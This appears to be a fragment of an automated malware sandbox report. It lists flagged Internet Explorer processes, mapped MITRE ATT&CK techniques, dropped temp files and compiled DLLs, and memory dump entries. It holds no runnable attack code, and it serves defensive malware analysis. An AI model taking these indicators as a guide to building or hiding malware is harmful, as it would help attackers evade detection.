- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1036 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1932
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1036 CREDAT:209934 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  - Checks whether UAC is enabled
  PID:1032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\qwq3m66\imagestore.dat

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C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\qwq3m66\imagestore.dat

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C:\Users\Admin\AppData\Local\Temp\HRLhUNI.txt

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C:\Users\Admin\AppData\Local\Temp\RESA053.tmp

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C:\Users\Admin\AppData\Local\Temp\RESA0D0.tmp

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C:\Users\Admin\AppData\Local\Temp\adbblykg\adbblykg.dll

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C:\Users\Admin\AppData\Local\Temp\wps2yt0r\wps2yt0r.dll

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\??\c:\Users\Admin\AppData\Local\Temp\adbblykg\CSCDC171189AB0F4D288419B5782ED8955B.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\adbblykg\adbblykg.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\adbblykg\adbblykg.cmdline

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\??\c:\Users\Admin\AppData\Local\Temp\wps2yt0r\CSC75C8EA2518EE4C9A8F3C139584727B4.TMP

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\??\c:\Users\Admin\AppData\Local\Temp\wps2yt0r\wps2yt0r.0.cs

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\??\c:\Users\Admin\AppData\Local\Temp\wps2yt0r\wps2yt0r.cmdline

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\Users\Admin\AppData\Local\Temp\HRLhUNI.txt

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memory/1048-4-0x0000000004920000-0x0000000004923000-memory.dmp

Filesize
12KB

Download
memory/1048-3-0x00000000061C0000-0x00000000061E3000-memory.dmp

Filesize
140KB

Download
memory/1212-22-0x0000000004D60000-0x0000000004E11000-memory.dmp

Filesize
708KB

Download
memory/1212-19-0x0000000002B50000-0x0000000002B51000-memory.dmp

Filesize
4KB

Download
memory/1428-20-0x000000001C4C0000-0x000000001C571000-memory.dmp

Filesize
708KB

Download
memory/1464-6-0x0000000005530000-0x0000000005553000-memory.dmp

Filesize
140KB

Download
memory/1536-0-0x00000000029F0000-0x00000000029F4000-memory.dmp

Filesize
16KB

Download
memory/1572-23-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1772-21-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/1772-24-0x0000000002590000-0x0000000002641000-memory.dmp

Filesize
708KB

Download
memory/1932-8-0x0000000005BC0000-0x0000000005BE3000-memory.dmp

Filesize
140KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads